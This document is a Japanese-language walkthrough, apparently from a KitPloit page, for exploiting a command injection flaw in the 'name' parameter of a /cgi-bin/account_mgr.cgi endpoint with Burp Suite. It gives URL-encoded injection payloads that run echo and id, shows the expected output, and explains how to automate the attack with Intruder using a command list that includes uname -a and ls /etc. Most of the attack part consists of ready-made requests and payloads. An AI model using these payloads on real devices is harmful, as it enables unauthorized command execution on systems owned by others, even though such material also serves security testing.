1. Burp Suite を起動する: お使いのマシンで Burp Suite を起動します。
2. プロキシを設定する: ブラウザのプロキシ設定をポート 8080 の 127.0.0.1 に設定して、Burp Suite をプロキシとして使用するようにブラウザを設定します。

ステップ 2: リクエストをインターセプトする

1. ターゲットに移動する: ブラウザで http://Target にアクセスします。
2. インターセプトを有効にする: Burp Suite でインターセプト機能を有効にして、送信リクエストをキャプチャします。

ステップ 3: リクエストを変更する

1. 脆弱なパラメータを見つける: インターセプトされたリクエスト内の URL から name パラメータを見つけます。次のように表示されます:

   root@kitploit:~

   /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;...;%27
   

2. テストコマンドを注入する: name パラメータに echo "test" などのテストコマンドを含むように変更します:

   root@kitploit:~

   /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;echo%20%22test%22;%27
   

3. 変更したリクエストを送信する: 変更したリクエストをサーバーに転送します。

ステップ 4: レスポンスを分析する

1. レスポンスを確認する: レスポンス内で注入したコマンドの出力を探します。たとえば、サーバーが echo "test" を実行した場合、次のように表示されるはずです:

   root@kitploit:~

   test
   

ステップ 5: 脆弱性を悪用する

1. 悪意のあるコマンドを注入する: テストが成功したら、次に示すようなより高度なコマンドを試します:

   root@kitploit:~

   /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;id;%27
   

2. 悪用リクエストを送信する: このリクエストをサーバーに転送します。

3. レスポンスを分析する: コマンドの出力 (例: ユーザー ID 情報) がレスポンスに含まれているか確認します。

ステップ 6: Burp Suite 拡張機能で自動化する (任意)

1. Intruder を使用する: Burp Suite の Intruder ツールを使用してテストを自動化します。

   • リクエストを右クリックし、Send to Intruder を選択します。
   • name パラメータをペイロード位置として設定します。
   • テスト用のペイロードとしてコマンドのリストを使用します。

2. ペイロードの例:

   root@kitploit:~

   echo "test"
   id
   uname -a
   ls /etc
   

3. Intruder を開始する: Intruder 攻撃を実行して、複数のペイロードを自動的にテストします。